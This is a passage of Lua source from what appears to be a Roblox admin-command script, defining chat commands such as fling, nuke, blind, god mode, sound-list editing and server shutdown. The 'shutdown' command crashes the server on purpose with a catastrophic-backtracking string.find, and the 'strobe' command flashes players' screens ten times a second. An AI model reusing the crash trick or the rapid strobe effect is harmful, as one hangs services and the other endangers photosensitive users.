6379
6380 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6381 IRC.Logs = {}
6382 end};
6383
6384 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6385 CommandLogs = {}
6386 ChatLogs = {}
6387 IRC.Logs = {}
6388 end};
6389
6390 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6391 Server.GDS:SetAsync("ExploitLog", {})
6392 end};
6393
6394 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6395 local List,Correlate,SoundName = {},{},{}
6396 for Name,Info in pairs(SoundList) do
6397 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6398 table.insert(List, View)
6399 Correlate[View] = Info[1]
6400 end
6401
6402 local CanClick = true
6403 if Rank == "Member" then CanClick = false end
6404 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6405 Clicked.Event:connect(function(ClickName)
6406 local OldSoundId = nil
6407 SOUND:StopGlobalSound()
6408 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6409 SOUND:PlayGlobalSound(Correlate[ClickName])
6410 end
6411 end)
6412 end};
6413
6414 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6415 SOUND:SyncSoundList(Speaker)
6416 end};
6417
6418 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6419 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6420 if Answer == "Yes" then
6421 Server.Workspace.Terrain:Clear()
6422 end
6423 end};
6424
6425 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6426 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6427 if Answer == "Yes" then
6428 for _,Obj in pairs(Workspace:GetChildren()) do
6429 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6430 Obj:Destroy()
6431 end
6432 end
6433 end
6434 end};
6435
6436 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6437 CORE:MakeBase()
6438 end};
6439
6440 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6441 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6442 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6443 CustomSounds = {}
6444 end
6445 if tostring(Arguments[1]) then
6446 local Request = MARKET:GetItemInfo(Arguments[1])
6447 if Request.AssetTypeId == 3 then
6448 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6449 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6450 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6451 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6452 else
6453 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6454 end
6455 end
6456 end};
6457
6458 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6459 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6460 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6461 CustomSounds = {}
6462 end
6463
6464 local Removed = {}
6465 for Num,Data in pairs(CustomSounds) do
6466 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6467 table.insert(Removed, Data[1])
6468 table.remove(CustomSounds, Num)
6469 end
6470 end
6471
6472 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6473
6474 SOUND:SyncSoundList()
6475
6476 if #Removed > 0 then
6477 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6478 else
6479 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6480 end
6481 end};
6482
6483 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6484 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6485 if Answer == "Yes" then
6486 Server.GDS:SetAsync("MML Custom Sounds", {})
6487 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6488 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6489 end
6490 end};
6491
6492 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6493 local Players = STRING:Scan(Arguments[1], Speaker)
6494 local SpeakerTesting = false
6495 for _,Player in pairs(Players) do
6496 if Player == Speaker then SpeakerTesting = true end
6497 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6498 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6499 --wait(10)
6500 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6501 end)() end
6502 end
6503 if SpeakerTesting == false then
6504 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6505 end
6506 end};
6507
6508 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6509 local Players = STRING:Scan(Arguments[1], Speaker)
6510 local Compile = {}
6511 for _,Player in pairs(Players) do
6512 local PlayerInfo = ClientInfo[Player.Name]
6513 if PlayerInfo then
6514 if PlayerInfo.Benchmark then
6515 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6516 else
6517 table.insert(Compile, Player.Name..": No score")
6518 end
6519 end
6520 end
6521 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6522 end};
6523
6524 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6525 local Players = STRING:Scan(Arguments[1], Speaker)
6526 for _,Player in pairs(Players) do
6527 CORE:Chatted(Arguments[2], Player, true)
6528 end
6529 end};
6530
6531 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6532 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6533 end};
6534
6535 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6536 local Players = STRING:Scan(Arguments[1], Speaker)
6537 for _,Player in pairs(Players) do
6538 if Player.Character ~= nil then
6539 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6540 if Player.Character.Torso:FindFirstChild("Neck") then
6541 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6542 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6543 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6544 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6545 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6546 end
6547 end
6548 end
6549 end
6550 end};
6551
6552 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6553 local Players = STRING:Scan(Arguments[1], Speaker)
6554 for _,Player in pairs(Players) do
6555 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6556 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6557 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6558 end
6559 end
6560 end};
6561
6562 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6563 local Players = STRING:Scan(Arguments[1], Speaker)
6564 for _,Player in pairs(Players) do
6565 local _,RankNum = RANK:GetRank(Player)
6566 if RankNum <= RANK:ConvertRank(Rank) then
6567 CORE:FlingPlayer(Player)
6568 end
6569 end
6570 end};
6571
6572 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6573 local Players = STRING:Scan(Arguments[1], Speaker)
6574 for _,Player in pairs(Players) do
6575 local _,RankNum = RANK:GetRank(Player)
6576 if RankNum <= RANK:ConvertRank(Rank) then
6577 Flings[Player.Name] = true
6578 CORE:FlingPlayer(Player)
6579 end
6580 end
6581 end};
6582
6583 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6584 local Players = STRING:Scan(Arguments[1], Speaker)
6585 for _,Player in pairs(Players) do
6586 local _,RankNum = RANK:GetRank(Player)
6587 if RankNum <= RANK:ConvertRank(Rank) then
6588 Flings[Player.Name] = nil
6589 end
6590 end
6591 end};
6592
6593 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6594 local Players = STRING:Scan(Arguments[1], Speaker)
6595 for _,Player in pairs(Players) do
6596 CORE:Nuke(Player)
6597 end
6598 end};
6599
6600 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6601 local Players = STRING:Scan(Arguments[1], Speaker)
6602 for _,Player in pairs(Players) do
6603 Beeps[Player.Name] = true
6604 SOUND:BeepPlayer(Player)
6605 end
6606 end};
6607
6608 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6609 local Players = STRING:Scan(Arguments[1], Speaker)
6610 for _,Player in pairs(Players) do
6611 if Player.PlayerGui then
6612 Beeps[Player.Name] = nil
6613 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6614 if Obj.Name == "Annoy" then
6615 Obj:Stop()
6616 Obj:Destroy()
6617 end
6618 end
6619 end
6620 end
6621 end};
6622
6623 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6624 local Time = Arguments[1]
6625 if Time == "day" or Time == "noon" then Time = "12" end
6626 if Time == "night" or Time == "midnight" then Time = "0" end
6627 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6628 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6629 if Time == "afternoon" then Time = "15:30" end
6630 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6631 end};
6632
6633 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6634 local Players = STRING:Scan(Arguments[1], Speaker)
6635 for _,Player in pairs(Players) do
6636 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6637 end
6638 end};
6639
6640 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6641 local AbuseMode = false
6642 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6643 local Players = STRING:Scan(Arguments[1], Speaker)
6644 for _,Player in pairs(Players) do
6645 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6646 end
6647 end};
6648
6649 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6650 local Players = STRING:Scan(Arguments[1], Speaker)
6651 for _,Player in pairs(Players) do
6652 CORE:Insert(125013769, Player.Backpack, true)
6653 end
6654 end};
6655
6656 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6657 local Players = STRING:Scan(Arguments[1], Speaker)
6658 for _,Player in pairs(Players) do
6659 if Player.Character then
6660 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6661 end
6662 end
6663 end};
6664
6665 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6666 CORE:ResetLighting()
6667 repeat
6668 Server.Lighting.Ambient = Color3.new(1,1,1)
6669 Server.Lighting.FogColor = Color3.new(1,1,1)
6670 Server.Lighting.Brightness = 1
6671 Server.Lighting.TimeOfDay = 14
6672 wait(0.1)
6673 Server.Lighting.Ambient = Color3.new(0,0,0)
6674 Server.Lighting.FogColor = Color3.new(0,0,0)
6675 Server.Lighting.Brightness = 0
6676 Server.Lighting.TimeOfDay = 0
6677 wait(0.1)
6678 until ModLighting == false
6679 end};
6680
6681 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6682 CORE:ResetLighting()
6683 repeat
6684 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6685 Server.Lighting.Ambient = Color
6686 Server.Lighting.FogColor = Color
6687 Server.Lighting.TimeOfDay = 0
6688 Server.Lighting.FogEnd = 500
6689 wait(0.1)
6690 until ModLighting == false
6691 end};
6692
6693 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6694 CORE:FixLighting()
6695 end};
6696
6697 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6698 local Players = STRING:Scan(Arguments[1], Speaker)
6699 for _,Player in pairs(Players) do
6700 if Player:FindFirstChild("PlayerGui") then
6701 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6702 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6703 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6704 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6705 end
6706 end
6707 end};
6708
6709 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6710 local Players = STRING:Scan(Arguments[1], Speaker)
6711 for _,Player in pairs(Players) do
6712 if Player:FindFirstChild("PlayerGui") then
6713 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6714 end
6715 end
6716 end};
6717
6718 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6719 local Players = STRING:Scan(Arguments[1], Speaker)
6720 for _,Player in pairs(Players) do
6721 if Player:FindFirstChild("PlayerGui") then
6722 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6723 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6724 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6725 end
6726 end
6727 end};
6728
6729 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6730 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6731 if Suc then
6732 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6733 else
6734 Server.TS:Teleport(game.PlaceId, Speaker)
6735 end
6736 end};
6737
6738 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6739 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6740 end};
6741
6742 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6743 local NewAbuse = Arguments[1]
6744 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6745 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6746 end
6747
6748 local Match = false
6749 for _,AbuseCmd in pairs(Settings.AbuseList) do
6750 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6751 Match = true
6752 break
6753 end
6754 end
6755 if not Match then
6756 table.insert(Settings.AbuseList, NewAbuse)
6757 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6758 else
6759 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6760 end
6761 CORE:SetAbuseCommands()
6762 end};
6763
6764 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6765 local NewAbuse = Arguments[1]
6766 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6767 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6768 end
6769
6770 local Removed = false
6771 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6772 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6773 Removed = true
6774 table.remove(Settings.AbuseList, Num)
6775 end
6776 end
6777 if Removed then
6778 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6779 else
6780 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6781 end
6782 CORE:SetAbuseCommands()
6783 end};
6784
6785 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6786 local Players = STRING:Scan(Arguments[1], Speaker)
6787 for _,Player in pairs(Players) do
6788 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6789 Player.Character.Humanoid.MaxHealth = math.huge
6790 Player.Character.Humanoid.Health = math.huge
6791 end
6792 end
6793 end};
6794
6795 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6796 local Players = STRING:Scan(Arguments[1], Speaker)
6797 for _,Player in pairs(Players) do
6798 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6799 if Player.Character.Humanoid.MaxHealth == math.huge then
6800 Player.Character.Humanoid.MaxHealth = 100
6801 Player.Character.Humanoid.Health = 100
6802 else
6803 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6804 end
6805 end
6806 end
6807 end};
6808
6809 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6810 local Players = STRING:Scan(Arguments[1], Speaker)
6811 for _,Player in pairs(Players) do
6812 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6813 local Char = Player.Character
6814 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6815 end
6816 end
6817 end};
6818
6819 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6820 if tonumber(Arguments[2]) then
6821 local Players = STRING:Scan(Arguments[1], Speaker)
6822 for _,Player in pairs(Players) do
6823 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6824 Player.Character.Humanoid.Health = Arguments[2]
6825 end
6826 end
6827 end
6828 end};
6829
6830 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6831 if tonumber(Arguments[2]) then
6832 local Players = STRING:Scan(Arguments[1], Speaker)
6833 for _,Player in pairs(Players) do
6834 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6835 local Speed = tonumber(Arguments[2])
6836 if Speed then
6837 if Rank == "Member" then
6838 if Speed > 1000 then Speed = 1000
6839 elseif Speed < -1000 then Speed = -1000 end
6840 end
6841 Player.Character.Humanoid.WalkSpeed = Speed
6842 end
6843 end
6844 end
6845 end
6846 end};
6847
6848 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6849 if tonumber(Arguments[2]) then
6850 local Players = STRING:Scan(Arguments[1], Speaker)
6851 for _,Player in pairs(Players) do
6852 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6853 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6854 end
6855 end
6856 end
6857 end};
6858
6859 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6860 local Players = STRING:Scan(Arguments[1], Speaker)
6861 for _,Player in pairs(Players) do
6862 CORE:Fly(Player, 10000)
6863 end
6864 end};
6865
6866 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6867 local Players = STRING:Scan(Arguments[1], Speaker)
6868 for _,Player in pairs(Players) do
6869 CORE:Fly(Player, 1000000)
6870 end
6871 end};
6872
6873 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6874 local Players = STRING:Scan(Arguments[1], Speaker)
6875 for _,Player in pairs(Players) do
6876 if Player.Character then
6877 if Player.Character:FindFirstChild("StopMMLFly") then
6878 Player.Character.StopMMLFly:InvokeClient(Player)
6879 end
6880 end
6881 end
6882 end};
6883
6884 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6885 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6886 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6887 end};
6888
6889 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6890 local Players = STRING:Scan(Arguments[1], Speaker)
6891 for _,Player in pairs(Players) do
6892 CORE:GiveTools(Player, Arguments[2])
6893 end
6894 end};
6895
6896 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6897 local List = {}
6898 for _,Region in pairs(ToolRegions) do
6899 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6900 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6901 end)
6902 end
6903
6904 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6905 end};
6906
6907 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6908 local Players = STRING:Scan(Arguments[1], Speaker)
6909 for _,Player in pairs(Players) do
6910 CORE:GiveTools(Player, "btools")
6911 end
6912 end};
6913
6914 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6915 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6916 for _,Player in pairs(Server.Players:GetPlayers()) do
6917 Player:Kick()
6918 end
6919 Server.Workspace:ClearAllChildren()
6920 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6921 end};
6922
6923 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6924 local Players = STRING:Scan(Arguments[1], Speaker)
6925 for _,Player in pairs(Players) do
6926 CORE:Scale(Player, Arguments[2])
6927 end
6928 end};
6929
6930 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6931 local Players = STRING:Scan(Arguments[1], Speaker)
6932 for _,Player in pairs(Players) do
6933 CORE:Scale(Player, 50)
6934 end
6935 end};
6936
6937 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6938 local Players = STRING:Scan(Arguments[1], Speaker)
6939 for _,Player in pairs(Players) do
6940 CORE:Scale(Player, 70)
6941 end
6942 end, Hidden = true};
6943
6944 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6945 local Players = STRING:Scan(Arguments[1], Speaker)
6946 for _,Player in pairs(Players) do
6947 CORE:Scale(Player, 500)
6948 end
6949 end};
6950
6951 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6952 local Players = STRING:Scan(Arguments[1], Speaker)
6953 for _,Player in pairs(Players) do
6954 if Player.Character then
6955 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6956 Obj.Reflectance = 0.5
6957 Obj.BrickColor = BrickColor.new("New Yeller")
6958 end)
6959 end
6960 end
6961 end};
6962
6963 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6964 local Players = STRING:Scan(Arguments[1], Speaker)
6965 for _,Player in pairs(Players) do
6966 if Player.Character then
6967 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6968 Obj.Reflectance = 0.5
6969 end)
6970 end
6971 end
6972 end};
6973
6974 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6975 local Players = STRING:Scan(Arguments[1], Speaker)
6976 for _,Player in pairs(Players) do
6977 if Player.Character then
6978 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6979 Obj.Transparency = 0.5
6980 Obj.Reflectance = 0
6981 Obj.BrickColor = BrickColor.new("Institutional white")
6982 end)
6983 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
6984 Obj.Transparency = 0.5
6985 end)
6986 end
6987 end
6988 end};
6989
6990 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6991 local Players = STRING:Scan(Arguments[1], Speaker)
6992 for _,Player in pairs(Players) do
6993 if Player.Character then
6994 for _,Obj in pairs(Player.Character:GetChildren()) do
6995 local Valid = false
6996 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6997 if Valid == true then Obj:Destroy() end
6998 end
6999 end
7000 end
7001 end};
7002
7003 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
7004 local Players = STRING:Scan(Arguments[1], Speaker)
7005 for _,Player in pairs(Players) do
7006 if Player.Character then
7007 for _,Obj in pairs(Player.Character:GetChildren()) do
7008 local Valid = false
7009 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
7010 if Valid == true then Obj:Destroy() end
7011 end
7012 end
7013 end
7014 end};
7015
7016 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
7017 local Players = STRING:Scan(Arguments[1], Speaker)
7018 for _,Player in pairs(Players) do
7019 if Player.Character then
7020 for _,Obj in pairs(Player.Character:GetChildren()) do
7021 local Valid = false
7022 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7023 if Valid == true then Obj:Destroy() end
7024 end
7025 end
7026 end
7027 end};
7028
